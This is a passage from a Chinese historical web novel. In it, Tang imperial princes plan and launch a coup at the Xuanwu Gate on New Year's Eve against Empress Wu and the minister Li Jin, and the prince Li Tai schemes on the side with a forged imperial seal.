提到太宗皇帝的玄武门旧事,密室中的空气仿佛都炽热了几分。那是一次成功的、改变历史的宫廷政变。 仿 效 祖 宗 成 法, 在 玄 武 门 再 行 非 常 之 举, 似 乎 带 上 了 一 种 宿 命 般 的 合 法 性 与 鼓 舞 力 量。**
“不错,就在玄武门!” 韩王李元嘉激动地低吼。
“具体谋划,还需细细推演。人员调动、武器暗藏、信号约定、事发后如何控制宫禁、如何安抚百官、如何应对可能的神策军或漕运护军反扑…… 桩 桩 件 件, 都 需 周 密 安 排, 不 能 有 丝 毫 差 错。**” 荆王元景恢复了冷静,开始布置,“道宗贤弟,你负责继续联络军中可靠之人,务必稳妥。元嘉、元恽,你们利用王府和旧部关系,暗中筹集一些兵甲器械,但要隐蔽,化整为零。元轨,你心思缜密,负责与柳公这边,以及魏王那边的人保持联络,打探宫中动向,尤其是皇帝陛下的病情和皇后、李瑾的行程安排。我居中协调,并设法解决‘旨意’之事。”
众人凛然遵命。
“ 此 事 成, 则 功 在 千 秋, 我 等 便 是 李 唐 的 中 兴 功 臣; 败, 则 身 死 族 灭, 万 劫 不 复。” 荆王元景最后环视众人,声音低沉而有力,“ 自 今 日 起, 诸 位 务 必 小 心 谨 慎, 单 线 联 络, 非 必 要 不 见 面。** 一切,待新年大朝会!”
密议持续到深夜方散。众人悄无声息地各自离去,消失在长安冬夜的寒风与积雪之中。那块封存着血书的青砖,静静立在原地,仿佛一个沉默的见证者,也像一颗已经点燃引信的炸药,只待那决定性的时刻到来。
他们不知道的是,就在他们密谋的同时,长安城的另一个角落。
魏王府内,李泰听完心腹关于柳庆与荆王等人接触的汇报,肥胖的脸上露出一丝高深莫测的笑容。“ 清 君 侧 … … 好 名 头。 我那几位叔伯兄弟,终于忍不住了吗?” 他挥退心腹,独自对着一盘残局,手指拈起一枚冰冷的玉石棋子,轻轻敲击着棋盘边缘。
“ 鹬 蚌 相 争 … … 无 论 谁 胜 谁 负, 这 长 安 的 水, 都 会 更 浑 一 些。 水浑了,才好摸鱼啊。” 他低声自语,眼中闪烁着难以言喻的光芒。 也 许, 这 是 他 这 个 被 圈 禁 多 年 的 废 王, 最 后 的 机 会 了。 他并不完全信任荆王他们能成功,但这场混乱本身,就值得他投入一点点关注,甚至……在关键时刻,加上一点小小的筹码。
夜更深了,雪还在下,掩盖了所有的足迹与密谋。但埋藏在密室砖墙后的那卷血书,其上的每一个字,都仿佛在黑暗中散发着不祥的红光,预示着即将到来的腥风血雨。 长安的平静,已如这积雪覆盖的冰面,看似坚固,实则脆薄,只需一点火星,或是重重一击,便会彻底崩裂。
第133章 玄武门旧事
麟德三年,腊月。
长安城的年味渐浓,东西两市人流如织,坊间飘荡着腊肉与松枝的香气,孩童们追逐嬉戏,期盼着新岁。然而,在这片日渐浓厚的节日气氛之下,一股冰冷刺骨、带着铁锈与血腥味的暗流,却在某些人心中愈发汹涌澎湃。 玄 武 门 —— 这 个 在 大 唐 开 国 史 上 留 下 浓 墨 重 彩 一 笔、 充 满 了 权 力 与 血 腥 记 忆 的 地 方, 再 次 成 为 阴 谋 家 们 目 光 聚 焦 的 中 心。**
荆王府,密室。
烛火将几个晃动的身影投射在石壁上,如同皮影戏中蓄势待发的鬼魅。荆王李元景站在一张简陋但标注详尽的大明宫及宫城布局草图前,手指重重地点在草图上“玄武门”的位置。
“ 诸 位, 此 地, 便 是 我 等 成 败 之 所 系。” 他的声音在密闭空间里回荡,带着一种近乎宗教仪式般的肃穆,“当年, 太 宗 文 皇 帝 便 是 于 此 门, 率 秦 王 府 精 锐, 一 举 擒 杀 太 子 建 成、 齐 王 元 吉, 廓 清 寰 宇, 开 创 贞 观 盛 世。 今日, 我 等 亦 当 效 法 先 帝, 于 此 地, 行 非 常 之 事, 清 君 侧, 正 朝 纲, 挽 狂 澜 于 既 倒!**”
提到太宗皇帝的“玄武门之变”,在座诸人,无论是久经沙场的江夏王李道宗,还是养尊处优的韩王、蒋王,亦或是心怀旧怨的柳庆,眼中都闪过一丝混合着敬畏、激动与决绝的复杂光芒。 那 是 一 次 成 功 的、 被 后 世 正 名 的 宫 廷 政 变, 是 以 暴 力 手 段 快 速 解 决 政 治 危 机 的 典 范。 仿效先祖的“壮举”,似乎为他们即将采取的行动,蒙上了一层“天命所归”的合法性外衣,也给予了他们巨大的心理暗示和勇气。
“ 玄 武 门 位 于 宫 城 北 面, 地 势 较 高, 控 制 此 门, 可 迅 速 进 入 大 内, 直 扑 含 元 殿 ( 举 行 元 旦 大 朝 会 之 处) 及 帝 后 寝 宫。” 江夏王李道宗接话,他以军事家的眼光分析道,“此门守军,主要为北门禁军一部及千牛卫轮值。 独 孤 谋 现 为 左 监 门 卫 中 郎 将, 正 好 负 责 玄 武 门 及 附 近 数 门 夜 间 及 特 殊 时 段 的 守 卫 调 度。 他已应允, 元 旦 黎 明 前, 恰 是 其 当 值, 可 借 换 防、 巡 查 之 名, 将 其 心 腹 安 排 在 关 键 岗 位, 并 在 约 定 时 刻, 打 开 玄 武 门 旁 的 侧 门, 放 我 等 人 马 悄 然 入 内。”
“ 入 门 之 后 如 何?” 霍王李元轨问道,他更关注细节。
“入得玄武门,便是禁苑。 黎 明 前 的 禁 苑, 除 了 定 时 巡 逻 的 小 队 金 吾 卫, 人 迹 罕 至。” 李道宗手指划过草图上的禁苑区域,“我等可在此处稍作集结, 兵 分 两 路。 一路,由我亲自带领, 直 扑 含 元 殿 前 广 场 及 两 侧 廊 庑, 控 制 殿 前 要 道, 等 候 百 官 及 武 后、 李 瑾 到 来。 另一路, 由 … … 由 荆 王 兄 长 亲 自 率 领, 前 往 两 仪 殿 或 紫 宸 殿, 以 ‘ 有 紧 急 军 情 或 陛 下 密 诏’ 为 名, 求 见 陛 下, 实 则 保 护 陛 下 安 全, 并 请 陛 下 颁 发 平 乱 诏 书。” 他说得委婉,但众人都明白,“保护陛下安全”的同时,也是将皇帝控制在自己手中,以获得最大的政治主动权。
“ 若 遇 抵 抗 如 何?” 韩王李元嘉追问。
“ 凡 阻 拦 者, 格 杀 勿 论!” 江夏王眼中寒光一闪,斩钉截铁,“尤其是千牛卫、金吾卫中可能忠于武后或李瑾的将领,必须第一时间清除。 我 们 要 的 是 迅 雷 不 及 掩 耳, 不 能 给 对 方 任 何 反 应 和 调 兵 的 时 间。 只要在百官朝贺之前,控制住宫门、含元殿及陛下, 大 局 便 定 了 七 分。**”
柳庆此时补充道:“ 还 需 派 人 同 时 控 制 宫 中 各 处 要 道、 通 信 线 路, 尤 其 是 通 往 宫 外 神 策 军 驻 地 和 转 运 使 司 的 道 路, 防 止 消 息 走 漏。 另外,李瑾府邸、武后亲信官员如许敬宗等人府邸, 也 应 同 时 派 兵 围 住, 不 得 放 走 一 人。”
“ 人 手 方 面, 如 何 调 配?**” 蒋王李恽问出了最关键的问题。他们能动用的力量有限。
荆王李元景早有腹案:“ 我 与 道 宗、 元 嘉、 元 轨 四 府, 可 凑 出 忠 心 敢 死 的 家 将、 护 院、 旧 部 约 三 百 人。 柳公这边,联络的失意勋贵、府兵旧部, 大 约 能 有 百 余 人。 独 孤 谋 及 其 在 北 门 禁 军 中 的 心 腹, 可 提 供 内 应 及 部 分 人 手, 约 五 十 人。 此 外 … … 魏 王 那 边, 表 示 可 暗 中 支 持 一 批 精 良 兵 甲, 并 提 供 宫 中 部 分 宦 官 的 动 向 作 为 情 报。**” 他略去了魏王可能也有些人手的猜测,毕竟那不可控。
“ 不 足 五 百 人 … …” 霍王李元轨眉头紧锁,“要对付宫中的宿卫,还有可能赶来的神策军或漕运护军……”
“ 兵 不 在 多, 在 于 精, 在 于 奇, 在 于 快。” 江夏王李道宗沉声道,“太宗皇帝当年,所率亦不过八百勇士。我等有心算无心,有内应为援, 黎 明 前 人 心 最 疏 懈 之 时 发 动, 直 取 要 害。 只 要 速 战 速 决, 控 制 住 陛 下 和 宫 禁, 颁 下 诏 书, 则 大 义 名 分 在 我, 其 余 兵 马 必 不 敢 妄 动。 神 策 军 主 力 不 在 京 中, 漕 运 护 军 群 龙 无 首, 不 足 为 虑。 关键,就在最初的一个时辰!”
“ 武 器 装 备 如 何 运 入?” 柳庆考虑实际。
“ 化 整 为 零, 分 批 携 带。” 韩王李元嘉道,“借口年节采买、运送贡品、修缮器物等名目,将刀剑弓弩拆解或隐藏,混在车马货物中, 提 前 数 日 运 入 我 等 在 玄 武 门 附 近 暗 中 购 置 或 租 用 的 几 处 宅 院。 行 动 前 夜, 再 秘 密 分 发。 甲胄沉重,难以大量携带, 故 此 次 行 动, 除 核 心 人 员 着 轻 甲 或 皮 甲 内 衬, 其 余 人 等, 一 律 轻 装 简 从, 以 求 速 度。”
“ 信 号 与 识 别 呢?” 霍王又问。
“ 元 旦 黎 明 前, 以 玄 武 门 城 楼 上 升 起 三 盏 红 色 灯 笼 为 号, 表 示 道 路 已 通, 可 以 入 内。 我 等 人 员, 皆 以 白 巾 系 于 左 臂 为 记。 口 令 … … 就 用 ‘ 清 君 侧, 正 朝 纲’。**” 荆王元景道。
密室内的空气凝重得几乎要滴出水来。每一个细节都被反复推敲,每一种可能都被拿出来讨论。 他 们 知 道, 这 是 一 场 赌 上 一 切 的 豪 赌, 胜 则 名 垂 青 史 ( 至 少 在 他 们 自 己 的 记 载 中), 败 则 万 劫 不 复。 但 玄 武 门 旧 事 的 成 功, 像 一 剂 强 心 针, 不 断 刺 激 着 他 们 的 神 经, 让 他 们 相 信, 奇 迹 可 以 重 演, 历 史 可 以 被 复 制。**
“最后,便是‘旨意’。” 荆王元景从怀中取出一卷明黄色的绢帛,缓缓展开。上面以工整的楷书写就,内容是“皇帝”痛心于皇后武氏与外臣李瑾勾结,蒙蔽圣听,祸乱朝纲,危害社稷,特密诏宗室亲王荆王、江夏王等,“纠合忠义,入宫靖难,清除奸佞,以安社稷”,并加盖了一方“皇帝之宝”的玉玺印鉴—— 这 自 然 是 伪 造 的, 但 印 鉴 仿 制 得 极 为 精 细, 绢 帛 也 是 宫 中 用 的 上 品, 足 以 乱 真。 至于玉玺如何仿制,他没有说,众人也心照不宣地没有问。
“ 事 发 之 时, 便 以 此 ‘ 密 诏’ 昭 示 天 下, 晓 谕 百 官 将 士。**” 荆王将绢帛小心收好,“成败,在此一举!”
就在荆王府密室紧张策划的同时,长安城的另一处,也在进行着某种“准备”。
魏王府,书房。
李泰屏退左右,只留下最心腹的一名老宦官。他挪动着肥胖的身体,走到书架前,摸索了一阵,取下一个看似普通的木匣。打开木匣,里面不是书籍,而是几份陈旧的信件,几方不同的印鉴(有些明显是仿制的官印),以及……一小块边缘有些磨损、但质地极佳的明黄色丝绸。
“ 阿 难, 你 跟 了 本 王 多 少 年 了?” 李泰没有回头,低声问道。
老宦官阿难垂首,声音嘶哑:“回大王,老奴自大王开府,便跟随左右,至今三十有七年矣。”
“三十七年……” 李泰喃喃道,手指抚过那块明黄丝绸,“ 你 可 还 记 得, 当 年 本 王 与 承 乾 争 位 时, 父 皇 是 如 何 看 我 的? 满 朝 文 武, 又 是 如 何 议 论 的?” 他的声音里带着刻骨的怨怼与不甘。
“老奴……不敢妄议先帝与故太子。” 阿难将头垂得更低。
“不敢?呵呵……” 李泰冷笑,“如今,我那好四弟(李治)躺在床上, 让 一 个 女 人 和 一 个 幸 进 之 徒 把 持 朝 政。 荆王、江夏王那几个老家伙,坐不住了,想学太宗皇帝,再来一次玄武门……” 他转过身,肥胖的脸上眼睛眯成一条缝,闪烁着精光,“ 你 说, 他 们 能 成 吗?”
“老奴……不知。然则荆王殿下等,毕竟名分正,且联络了不少军中旧人……”
“名分?军中旧人?” 李泰打断他,语气讥诮,“ 当 年 本 王 的 名 分 不 正 吗? 秦 王 府 的 旧 人 不 多 吗? 结 果 如 何? 关 键, 不 在 于 你 有 多 少 人, 而 在 于 … … 你 能 不 能 抓 住 那 稍 纵 即 逝 的 时 机, 能 不 能 … … 让 所 有 人 都 措 手 不 及。” 他顿了顿,看着手中的木匣,“ 荆 王 他 们 要 玩, 就 让 他 们 去 玩。 不 过, 我 们 也 不 能 只 是 看 着。 阿 难, 你 想 办 法, 把 这 个 … … 悄 悄 送 到 该 知 道 的 人 手 里。 不 要 直 接 给, 要 让 他 们 ‘ 偶 然’ 发 现。” 他从木匣中取出那方仿制得最精良的“皇帝之宝”印鉴,递给阿难。
阿难双手接过,心头剧震,瞬间明白了主人的意图—— 这 是 要 将 水 搅 得 更 浑, 甚 至 … … 借 刀 杀 人, 或 者, 为 自 己 创 造 一 个 更 有 利 的 局 面。** 他不敢多问,躬身应道:“老奴明白,定会办妥。”
大明宫,紫宸殿后殿。
李治的精神时好时坏,此刻正昏昏欲睡。武媚娘坐在一旁,手中批阅着奏章,眉头微蹙。一份来自“察事听子”的密报放在她手边,上面提到了近来某些宗室亲王私下走动频繁,与一些失意军官、旧臣有所接触,但并未提及具体的玄武门计划。 长 期 的 政 治 斗 争 生 涯, 让 她 对 危 险 有 着 野 兽 般 的 直 觉, 但 即 将 到 来 的 年 节 大 典 以 及 繁 重 的 政 务, 分 散 了 她 的 部 分 注 意 力。 她只是提笔在密报上批了“ 继 续 严 密 监 视, 有 异 动 速 报” 几个字。
她抬起头,望向窗外阴沉沉的天空,雪似乎又要下了。 不 知 为 何, 她 心 头 忽 然 掠 过 一 丝 难 以 言 喻 的 不 安, 仿 佛 有 什 么 巨 大 的、 危 险 的 事 情 正 在 阴 影 中 酝 酿。 但很快,这丝不安就被程务挺关于北衙禁军新年布防调整的请示打断了。她揉了揉眉心, 将 那 不 安 归 咎 于 近 日 的 疲 惫。** 无论如何,新年大朝会必须圆满,这是彰显朝廷威仪、稳定人心的重要时刻。
转运使司官衙。
李瑾并不知道一场针对他和武后的政变正在紧锣密鼓地策划。他正在审阅度支稽核司送来的年终结算报告,以及关于新币“乾封泉宝”铸造进度的汇报。 巨 大 的 工 作 量 和 庞 杂 的 事 务, 让 他 几 乎 没 有 多 余 的 精 力 去 关 注 那 些 隐 秘 的 政 治 暗 流。 他信任武后掌控宫禁的能力,也相信程务挺对北衙禁军的控制。 更 何 况, 他 手 中 还 有 神 策 军 这 张 王 牌, 虽 主 力 不 在, 但 留 守 部 队 亦 是 精 锐。 在他想来,那些失意的宗室和旧臣,掀不起太大风浪。
然而, 历 史 的 教 训 往 往 在 于, 真 正 致 命 的 危 机, 常 常 来 自 于 被 忽 视 的 角 落 和 出 乎 意 料 的 迅 猛。** 当年太宗皇帝在玄武门动手时,太子建成和齐王元吉,又何尝不是认为自己胜券在握?
腊月的寒风呼啸着穿过长安城的街巷,卷起地上的积雪。 玄 武 门 高 大 的 门 楼 在 暮 色 中 投 下 沉 重 的 阴 影, 门 上 的 铜 钉 和 兽 首 在 积 雪 的 映 衬 下, 泛 着 冷 硬 的 光 泽。 它静静地矗立在那里,如同一个沉默的巨人, 见 证 过 无 数 的 阴 谋 与 鲜 血, 王 图 与 霸 业。 而此刻,它仿佛再次从沉睡中苏醒,等待着下一批赌上性命、企图改变历史走向的赌徒,在它脚下,上演新一轮的生死搏杀。
夜色,愈发深沉了。
第134章 夜半刀兵起
麟德三年,腊月三十,除夕。
长安城沉浸在一片岁末的祥和与忙碌之中。家家户户洒扫庭除,张贴桃符,准备着年夜饭与守岁。皇城内,各衙署早已封印放假,只留少量值宿官吏。宫城之中,虽然因为明日元旦大朝会而比平日多了几分肃穆与准备,但节日的氛围依然透过朱红宫墙,在悬挂的彩灯与偶尔响起的爆竹声中弥散开来。 谁 也 不 曾 想 到, 在 这 个 辞 旧 迎 新、 本 该 阖 家 团 圆 的 夜 晚, 一 场 针 对 这 座 帝 国 权 力 中 心 的 血 腥 风 暴, 正 在 黑 暗 中 悄 然 聚 集, 如 同 潜 行 的 毒 蛇, 吐 出 了 冰 冷 的 信 子。**
子时三刻,夜最深沉的时刻。
长安各坊坊门早已紧闭,实行宵禁。除了巡夜金吾卫沉重而规律的脚步声,以及远处隐约传来的守岁人家饮酒作乐的微响,偌大的城市仿佛已经沉睡。然而,在靠近皇城北面、玄武门附近的几处不起眼的宅院、仓库甚至荒废的庙宇中,却有人影幢幢,暗流涌动。
荆王府的秘密据点内,一片肃杀。三百余名精挑细选出来的死士、家将,已在此集结完毕。他们大多穿着深色或黑色的紧身衣物,外罩普通棉袍以作掩饰,左臂上缠着不起眼的白色布条。 刀 剑 出 鞘, 弓 弩 上 弦, 在 昏 暗 的 灯 火 下 泛 着 幽 冷 的 光。** 空气中弥漫着皮革、铁锈和一种混合着恐惧与亢奋的汗味。
荆王李元景一身暗青色圆领袍,外罩软甲,腰佩长剑。他目光缓缓扫过这些面容或坚毅、或紧张、或麻木的脸庞,心中也是波涛汹涌。 成 败 在 此 一 举, 不 成 功, 便 成 仁。 先祖太宗的英灵仿佛在冥冥中注视着他。他深吸一口气,用刻意压低的、却足以让在场每个人都听清楚的声音说道:
“ 诸 位 壮 士! 今夜,非为我李元景一人之私利!” 他举起手中那卷伪造的“密诏”,“ 妖 后 武 氏, 祸 乱 宫 闱, 牝 鸡 司 晨; 奸 臣 李 瑾, 窃 弄 威 权, 荼 毒 天 下! 陛下被其蒙蔽,困于深宫,我李唐江山危在旦夕! 今 蒙 陛 下 密 诏, 赐 我 等 清 君 侧、 正 朝 纲 之 权! 此 乃 关 乎 国 家 存 亡、 社 稷 安 危 之 大 事! 功成之后,在场诸位,皆是从龙功臣,富贵功名,唾手可得!若有不幸…… 尔 等 家 小, 我 李 元 景 以 王 爵 担 保, 必 厚 加 抚 恤, 永 享 富 贵!”
“ 清 君 侧! 正 朝 纲! 愿 为 大 王 效 死!” 人群中有心腹带头低吼,随即响起一片压抑而狂热的回应。 富 贵 险 中 求, 更 何 况 还 有 “ 大 义” 名 分 的 鼓 舞。 这些被挑选出来的人,或是宗王府中世代受恩的死士,或是与武后、李瑾有旧怨的家族子弟,或是被重利许诺吸引的亡命之徒,此刻都被这孤注一掷的气氛所感染,眼中燃起狂热的光芒。
江夏王李道宗一身皮甲,显得精干利落。他走到队伍前,开始做最后的安排:“ 按 照 原 定 计 划, 分 为 三 队。 甲队,由我亲自率领, 直 扑 玄 武 门, 接 应 独 孤 将 军, 控 制 宫 门 及 门 楼。 乙队,由韩王殿下率领, 随 后 跟 进, 入 宫 后 直 接 前 往 两 仪 殿 方 向, 保 护 … … 迎 接 陛 下。 丙队,由蒋王、霍王殿下统领, 负 责 控 制 玄 武 门 内 外 要 道, 阻 截 可 能 的 援 军, 同 时 派 出 人 手, 按 名 单 控 制 或 擒 杀 宫 中 武 后、 李 瑾 的 重 要 党 羽! 柳公, 你 带 领 文 士 及 部 分 人 手, 携 带 ‘ 密 诏’ 及 檄 文, 随 后·入 宫, 准 备 安 抚 百 官, 宣 读 诏 令。**”
“ 记 住! 动作要快! 黎 明 前 必 须 控 制 住 陛 下 和 玄 武 门! 遇有阻拦,格杀勿论!以臂缠白巾者为号,口令:‘清君侧,正朝纲’!都明白了吗?!”
“明白!” 众人低声应诺。
“ 出 发!” 荆王李元景拔出佩剑,剑尖指向阴沉的、无星无月的夜空。
丑时初,夜色如墨。
数百道黑影,如同融化的墨汁,从几处据点悄无声息地流出,分成数股,沿着僻静的坊曲、排水沟渠甚至屋顶,向着皇城北面的玄武门方向潜行。 他 们 避 开 了 主 要 街 道 和 金 吾 卫 固 定 的 巡 逻 路 线, 显 然 对 长 安 城 的 防 务 和 地 形 做 过 细 致 研 究。** 偶尔有巡夜的更夫或零星的金吾卫士卒,还未反应过来,便被黑暗中射出的弩箭或扑出的黑影迅速解决,尸体被拖入暗处。
丑时三刻,玄武门外。
高大的玄武门城楼在夜色中如同蹲伏的巨兽,沉默地俯瞰着脚下的禁苑和远处的宫殿群。门楼上挂着气死风灯,在寒风中轻轻摇晃,将守门兵士晃动的身影拉长。今夜负责玄武门及附近区域值守的,正是左监门卫中郎将独孤谋及其部分心腹。
独孤谋按剑站在门楼内,脸色在灯下显得有些苍白,手心微微出汗。 他 知 道 自 己 在 做 什 么, 这 是 抄 家 灭 族 的 勾 当。** 但江夏王李道宗的承诺,以及内心深处对武后、李瑾弄权的不满,对家族昔日荣耀的追忆,最终促使他踏出了这一步。他不断望向城楼外漆黑的禁苑方向,又看看更漏。
约定的时刻快到了。
他走到门楼外,对几名守在不远处、同样是知情的低级将校使了个眼色。那几人微微点头,悄然散开,以各种理由将今夜一同值守、但并非同谋的士兵调开,或引至他处。
就 在 这 时, 玄 武 门 城 楼 的 角 楼 上, 三 盏 蒙 着 红 绸 的 灯 笼, 被 悄 然 点 亮, 在 漆 黑 的 夜 空 中 格 外 醒 目。 这是约定的信号——道路已通,可以入内!
几乎在红灯亮起的瞬间,禁苑的黑暗中,响起了急促但尽量压抑的脚步声。江夏王李道宗一马当先,率领着甲队近百名精锐,如同鬼魅般涌到玄武门侧门前。侧门已然悄无声息地打开了一道缝隙。
“ 口 令!” 门内传来低喝。
“ 清 君 侧!**” 李道宗低声道。
“ 正 朝 纲!** 快进来!” 里面的人回应,迅速将门拉开。
李道宗毫不犹豫,闪身而入,身后兵士鱼贯跟进。进入门内,他立刻看到迎上来的独孤谋。
“ 江 夏 王!** 一切顺利,门楼及附近巡哨已控制,但拖延不了太久!” 独孤谋语速很快。
“ 做 得 好! 立刻带你的人,换上我们带来的衣物臂章,随我行动!韩王殿下马上就到!” 李道宗拍了拍他的肩膀,随即对身后吩咐:“ 甲 队, 控 制 门 楼 及 登 城 马 道! 乙 队 入 城 后 按 计 划 行 动! 丙 队 占 据 要 道, 封 锁 消 息!”
训练有素的叛军迅速行动起来,接管玄武门防务,将真正的守军缴械、捆绑、堵嘴,塞入门楼附近的杂物间。整个过程快而不乱,显示出事先的周密策划。
很快,韩王李元嘉、蒋王李元恽、霍王李元轨也分别率队从侧门涌入。 数 百 名 叛 军 如 同 一 股 暗 色 的 洪 流, 涌 入 了 大 唐 帝 国 的 心 脏 地 带。** 寒风卷过空旷的禁苑,带着刺骨的凉意,也带来了远处宫殿隐约的灯火。
“ 成 功 了 一 半!**” 韩王李元嘉激动得声音有些发颤,看着洞开的宫门和身后黑压压的人马,一种不真实的感觉和巨大的权力欲望同时涌上心头。
“ 不 要 高 兴 得 太 早!” 江夏王李道宗厉声低喝,此刻的他,仿佛又回到了当年叱咤沙场的岁月,眼神锐利如鹰,“ 速 按 计 划 行 事!** 控制宫门只是开始!乙队,随我去两仪殿!甲队,守住城门!丙队,立刻行动!”
“是!”
然而,就在叛军主力分为数股,准备扑向各自目标时, 异 变 陡 生!
禁苑深处,原本应该只有固定巡逻小队经过的道路上,突然传来一阵整齐急促的脚步声和甲胄摩擦的铿锵声!一队约五十人的金吾卫巡逻队,似乎因为临时改变了路线, 竟 迎 面 撞 上 了 正 在 分 兵 的 叛 军 主 力!**
双方在昏暗的光线下骤然照面,都愣住了。
“ 什 么 人 !** 胆敢夜闯禁苑!” 金吾卫带队校尉反应极快,厉声喝问的同时,已拔刀出鞘。他身后的士兵也立刻举起兵器,结成简易阵型。
叛军这边一阵骚动。 计 划 中 可 没 有 这 一 出!** 他们本以为在控制玄武门、解决掉门口守卫后,能有一段相对安全的潜入时间。
“ 杀 !** 一个不留!” 江夏王李道宗眼中凶光毕露,知道此刻绝不能犹豫,更不能让任何消息走漏。他当机立断,挥刀向前一指。
“杀!” 叛军中的精锐立刻扑了上去,与金吾卫巡逻队战在一起。 寂 静 的 禁 苑 中, 顿 时 响 起 了 兵 器 撞 击 的 刺 耳 声 响、 利 刃 入 肉 的 闷 响 以 及 短 促 的 惨 叫。 鲜血在雪地和枯草上迅速蔓延开来。
这支金吾卫巡逻队虽是精锐,但人数只有五十,又是猝不及防,很快就被人数占优、且有备而来的叛军分割包围,逐一砍杀。 然 而, 他 们 的 顽 强 抵 抗 和 临 死 前 发 出 的 呐 喊, 还 是 在 寂 静 的 夜 空 中 传 出 了 很 远。
“ 不 好! 惊动了!” 霍王李元轨脸色一变。
果然,远处其他巡逻路线以及玄武门内其他区域的守军,似乎被这边的厮杀声惊动,开始有呼喝声和锣声响起!
“ 该 死! 计划有变!” 江夏王李道宗心中也是一沉,但事已至此,再无退路。他嘶声大吼:“ 不 要 管 了! 韩王,你带乙队, 直 扑 两 仪 殿, 不 惜 一 切 代 价, 控 制 陛 下! 独孤谋,带你的人,跟我来, 抢 在 其 他 守 军 集 结 前, 强 攻 控 制 通 往 内 宫 的 要 道! 蒋王、霍王,守住玄武门,同时派人去控制通训门、安礼门, 阻 止 宫 外 援 军! 发信号, 让 我 们 在 宫 中 其 他 地 方 的 内 应, 立 刻 动 手, 制 造 混 乱!**”
原本隐秘的突袭,因为一场意外的遭遇, 瞬 间 演 变 成 了 强 攻 和 混 战。 刺耳的警锣声、杂沓的脚步声、兵刃撞击声、喊杀声、惨叫声,开始打破皇城除夕夜的宁静, 如 同 一 块 巨 石 投 入 平 静 的 湖 面, 激 起 了 惊 天 波 澜。
宫灯被匆忙点亮,人影在宫殿廊庑间惊慌跑动。原本沉睡的宫城, 在 这 个 除 夕 之 夜, 被 刀 兵 之 声 惊 醒, 陷 入 了 前 所 未 有 的 混 乱 与 恐 慌 之 中。**
丑时末,寅时初,夜色最黑,黎明前最黑暗的时刻。
数百名臂缠白巾的叛军,在江夏王李道宗和独孤谋的带领下,如同决堤的洪水,沿着宫道向内宫方向猛冲。途中遇到的零星侍卫和宦官,根本不是这群武装到牙齿的亡命之徒的对手,纷纷被砍倒。
“ 挡 我 者 死! 清君侧,正朝纲!” 叛军们狂吼着口号,试图震慑抵抗者,也为自己的行为寻找正义的注脚。
然而,皇宫宿卫毕竟训练有素。最初的混乱过后,一些忠于职守的千牛卫、监门卫将领开始自发组织抵抗。在通往内宫的重要门户——嘉猷门附近,一小队约三十人的千牛卫,在一名果毅都尉的指挥下,依托门洞和两侧宫墙, 结 成 了 简 易 的 防 御 阵 型, 用 弓 弩 和 长 枪, 顽 强 地 阻 挡 着 叛 军 的 去 路。**
“ 放 箭!” 千牛卫果毅都尉嘶声下令,箭矢呼啸而出,冲在前面的几名叛军惨叫着倒地。
“ 冲 过 去! 杀光他们!” 江夏王李道宗眼睛血红,亲自提刀上前。他知道,每拖延一刻,变数就多一分。 必 须 在 更 多 的 守 军 被 惊 动、 组 织 起 有 效 防 御 之 前, 冲 到 两 仪 殿 或 紫 宸 殿!
双方在嘉猷门下展开了惨烈的厮杀。刀光剑影,血肉横飞。叛军人数占优,且更为亡命;千牛卫装备精良,据险而守,寸步不让。 狭 窄 的 门 洞 成 了 绞 肉 机, 不 断 有 人 倒 下, 鲜 血 很 快 染 红 了 白 雪 覆 盖 的 地 面 和 台 阶。**
而另一路,由韩王李元嘉率领的乙队,在试图绕过主战场,从侧翼接近两仪殿时, 也 遭 遇 了 闻 讯 赶 来 的 另 一 支 宫 廷 侍 卫 的 阻 击。 战斗在宫殿群间的巷道、廊庑各处爆发, 火 光、 血 光、 刀 光, 将 这 座 堂 皇 肃 穆 的 帝 王 宫 阙, 变 成 了 修 罗 场。**
玄武门方向,蒋王和霍王也承受着巨大的压力。虽然他们暂时控制了城门,但宫内的厮杀声和越来越密集的警锣声, 已 经 惊 动 了 皇 城 其 他 区 域 的 守 军, 以 及 … … 驻 扎 在 宫 外 不 远 处 的 北 衙 禁 军 主 力。 沉重的脚步声和甲胄碰撞声,正从通化门、安礼门等方向传来!
“ 顶 住! 一定要顶住!为荆王兄长和江夏王争取时间!” 霍王李元轨声嘶力竭地指挥着叛军,用抢夺来的宫门守城器械——滚木擂石,甚至拆下门板,堵塞通道,试图延缓宫外援军进入的速度。 但 他 们 心 里 都 清 楚, 如 果 不 能 在 援 军 大 举 到 来 前 控 制 住 皇 帝 和 宫 禁 中 枢, 一 切 都 将 结 束。
寅时二刻,天色依旧漆黑,但东方已隐隐透出一丝极淡的灰白。
大明宫,紫宸殿。
激烈的喊杀声和警锣声,终于穿透重重宫墙,传到了帝后寝居的附近。 值 宿 的 宦 官 和 宫 女 惊 慌 失 措, 奔 走 相 告。** 殿外的侍卫也紧张地握紧了刀柄,望向声音传来的北方。
病榻上的李治被惊醒,虚弱地撑起身子,惊疑不定地问:“ 外 面 … … 发 生 了 何 事?** 为何如此喧哗?”
武媚娘早已起身,她只披着一件外袍,站在窗前,倾听着远处的动静。 那 越 来 越 近、 越 来 越 清 晰 的 喊 杀 声, 让 她 的 心 不 断 下 沉。 她最初的猜测是宫人骚乱或小规模盗窃,但很快,有浑身是血的宦官连滚爬爬地冲进来,哭喊道:
“ 陛 下! 皇 后 娘 娘! 不 好 了! 有……有叛军! 好 多 人, 臂 缠 白 巾, 从 玄 武 门 杀 进 来 了! 口口声声要……要清君侧!已经杀到嘉猷门了!”
“ 什 么?!” 李治如遭雷击,脸色瞬间惨白,剧烈地咳嗽起来,“叛军?清君侧? 哪 里 来 的 叛 军? 何人如此大胆?!” 震惊、愤怒、以及一丝不易察觉的恐惧,交织在他虚弱的身体里。
武媚娘猛地转过身,脸上已无丝毫惊慌,只有一片冰寒的肃杀。 她 知 道, 最 担 心 的 事 情, 还 是 发 生 了。 宗室,终于动手了!而且选择在除夕夜,元旦大朝会前夕,好毒辣的算计!
“ 陛 下 勿 慌! 不过是些跳梁小丑,掀不起大浪!” 她快步走到李治榻前,扶住他,声音清晰而镇定,带着一种奇异的安抚力量。“ 程 务 挺! 程 务 挺 何 在?**” 她提高声音,对着殿外喝道。
